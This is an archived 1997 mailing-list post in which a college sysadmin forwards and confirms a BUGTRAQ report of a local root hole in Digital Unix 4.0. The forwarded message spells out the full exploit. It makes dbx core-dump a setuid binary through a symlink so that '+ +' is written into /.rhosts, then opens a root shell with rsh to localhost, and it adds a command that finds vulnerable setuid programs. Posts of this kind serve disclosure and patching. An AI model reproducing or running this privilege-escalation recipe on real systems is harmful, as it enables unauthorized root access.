DU 4.0 Security Hole

From: Matt Moore <moore_at_shemp.bucks.edu>
Date: Fri, 14 Nov 1997 16:56:49 -0500 (EST)

I saw this message on BUGTRAQ, tested it, and sure enough it works!
We are running 4.0b with C2, patched up to jumbo 4. I was under the
impression that DU with C2 did not allow a "+ +" in the /.rhosts but
apparently it does. Here's the message:

-------------------------------------------------------------------

>From jmcdonal_at_OSPREY.UNF.EDUFri Nov 14 16:48:19 1997
Date: Fri, 14 Nov 1997 12:37:20 -0500
From: John McDonald <jmcdonal_at_OSPREY.UNF.EDU>
To: BUGTRAQ_at_NETSPACE.ORG
Subject: digital unix 4.0 hole

I've verified this on 3 boxes running Digital unix 4.0..

If you run dbx (tested on 3.11.10) on a setuid root program that you have
read access to, the program will core dump and create a root owned 600
perm core in the current directory. You might have to run dbx one or two
times to get it to work.. The message you are looking for is:

dbx version 3.11.10
Type 'help' for help.

warning: /bin/crontab has no symbol table -- very little is supported
without it


Could not attach to process 10112

cannot run program
Exiting due to error during startup

Now, this core dump will follow symlinks.. and using the trick mentioned
earlier with embedding + + in a core dump, you can easily grab root.

ln -s /.rhosts core
BOB42="

+ +

"
export BOB42
dbx /bin/crontab
rsh -l root localhost /bin/sh -i

I'm not sure this will work on other Digital Unix boxes, and I'm not sure
why it works.. So, email me if you get it to work.. I'm not sure, but I
think this might be a bug in the process-tracing implementation..

I think this will locate all of the vulnerable setuid binaries -
find / -perm -4004 -print

humble - jmcdonal_at_unf.edu

-------------------------------------------------------------------------

Kinda scary, huh?

-----------------------------------------------------------------------
Matt Moore N3LPH Bucks County Community College
E-mail: moorem_at_bucks.edu Swamp Road Newtown PA 18940
-----------------------------------------------------------------------
Windows 95: A 32-bit patch for a 16-bit GUI shell running on top of an
8-bit operating system written for a 4-bit processor by a 2-bit company
who cannot stand 1 bit of competition.
Received on Fri Nov 14 1997 - 23:16:50 NZDT

This archive was generated by hypermail 2.4.0 : Wed Nov 08 2023 - 11:53:37 NZDT